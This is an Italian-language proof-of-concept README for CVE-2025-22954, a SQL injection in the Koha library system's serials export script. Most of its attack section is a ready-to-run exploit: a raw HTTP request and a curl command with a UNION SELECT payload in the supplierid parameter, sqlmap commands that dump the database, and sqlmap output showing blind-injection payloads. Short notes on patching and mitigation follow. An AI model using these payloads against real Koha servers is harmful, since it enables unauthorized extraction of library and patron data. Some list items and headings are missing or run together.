
Koha CVE-2025-22954: SQL Injection in lateissues-export.pl
Questa repository contiene una prova di concetto per CVE-2025-22954, una vulnerabilità di iniezione SQL di gravità critica (CVSS 10.0) in Koha precedente alla versione 24.11.02. La vulnerabilità è presente nella funzione GetLateOrMissingIssues in C4/Serials.pm, chiamata dallo script /serials/lateissues-export.pl. La vulnerabilità può essere sfruttata tramite i parametri supplierid o serialid.
| ID CVE | CVE-2025-22954 |
|---|---|
| CVSS v3 | 10.0 (Critico) |
| Punteggio EPSS | 0.03% (Top 5.26%) |
| Pubblicata | 12 marzo 2025 |
| Corretta in | Koha 24.11.02 |
| Riferimento al bug | Bug di Koha #38829 |
| Note di rilascio | Rilascio Koha 24.11.02 |
La vulnerabilità deriva dalla gestione non sicura dell'input utente nei parametri supplierid e serialid dello script lateissues-export.pl, che vengono passati alla funzione GetLateOrMissingIssues in C4/Serials.pm. La funzione non sanitizza né parametrizza correttamente questi input prima di utilizzarli nelle query SQL, consentendo attacchi di iniezione SQL.
Lo script vulnerabile (lateissues-export.pl) contiene il seguente codice:
my $supplierid = $query->param('supplierid');
my @serialids = $query->multi_param('serialid');
# ...
for my $serialid ( @serialids ) {
my @missingissues = GetLateOrMissingIssues($supplierid, $serialid);
# ...
# update claim date to let one know they have looked at this missing item
updateClaim($serialid);
}
La funzione GetLateOrMissingIssues in C4/Serials.pm contiene probabilmente una costruzione vulnerabile delle query SQL, in cui i parametri $supplierid e $serialid vengono concatenati direttamente nelle istruzioni SQL senza una corretta parametrizzazione.
Questa prova di concetto dimostra come un utente autenticato con accesso al modulo serials possa sfruttare questa vulnerabilità per estrarre dati sensibili dal database di Koha o potenzialmente ottenere accesso non autorizzato al sistema di database sottostante.
lateissues-export.plLa seguente richiesta HTTP grezza può essere utilizzata per sfruttare la vulnerabilità:
GET /cgi-bin/koha/serials/lateissues-export.pl?supplierid=1' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,user(),14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30 -- -&serialid=1&csv_profile=1 HTTP/1.1
Host: koha.example.com
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml
Connection: close
curl -i -X GET "https://koha.example.com/cgi-bin/koha/serials/lateissues-export.pl?supplierid=1' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,user(),14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30 -- -&serialid=1&csv_profile=1"
SQLMap può essere utilizzato per automatizzare lo sfruttamento di questa vulnerabilità. Innanzitutto, cattura una richiesta all'endpoint vulnerabile con cookie di autenticazione validi, quindi usa SQLMap per sfruttare il punto di iniezione.
# Save a request with valid cookies to request.txt
sqlmap -r request.txt -p supplierid --dbms=mysql --level=5 --risk=3
Esempio di file request.txt:
GET /cgi-bin/koha/serials/lateissues-export.pl?supplierid=1&serialid=1&csv_profile=1 HTTP/1.1
Host: koha.example.com
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml
Connection: close
Puoi anche sfruttare la vulnerabilità direttamente con SQLMap:
sqlmap -u "https://koha.example.com/cgi-bin/koha/serials/lateissues-export.pl?supplierid=1&serialid=1&csv_profile=1" \
-p supplierid \
--dbms=mysql \
--dump
GET parameter 'supplierid' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection point(s) with a total of 59 HTTP(s) requests:
---
Parameter: supplierid (GET)
Type: boolean-based blind
Title: Boolean-based blind - Parameter replace (original value)
Payload: supplierid=(SELECT (CASE WHEN (1285=1285) THEN 1 ELSE (SELECT 7101 UNION SELECT 6384) END))&serialid=5&serialid=7&csv_profile=1
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: supplierid=1 AND (SELECT 5817 FROM (SELECT(SLEEP(5)))eSKk)&serialid=5&serialid=7&csv_profile=1
---
[10:46:38] [INFO] the back-end DBMS is MySQL
[10:46:38] [CRITICAL] unable to connect to the target URL. sqlmap is going to retry the request(s)
web server operating system: Linux Ubuntu 19.10 or 20.04 or 20.10 (focal or eoan)
web application technology: Apache 2.4.41
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[10:46:40] [WARNING] HTTP error codes detected during run:
Questa vulnerabilità consente a un attaccante autenticato di:
Aggiornare a Koha versione 24.11.02 o successiva, che include una correzione per questa vulnerabilità.
Se non è possibile aggiornare immediatamente, prendi in considerazione le seguenti mitigazioni temporanee:
/serials/lateissues-export.pl solo a indirizzi IP attendibiliC4/Serials.pm per parametrizzare correttamente le query SQL nella funzione GetLateOrMissingIssuesQuesta prova di concetto è fornita esclusivamente a scopo educativo e difensivo. Ottenere sempre la dovuta autorizzazione prima di testare qualsiasi sistema per vulnerabilità.
L'autore non è responsabile per qualsiasi uso improprio di queste informazioni. Questa prova di concetto dovrebbe essere utilizzata solo su sistemi di cui si è proprietari o per i quali si ha esplicito permesso di test.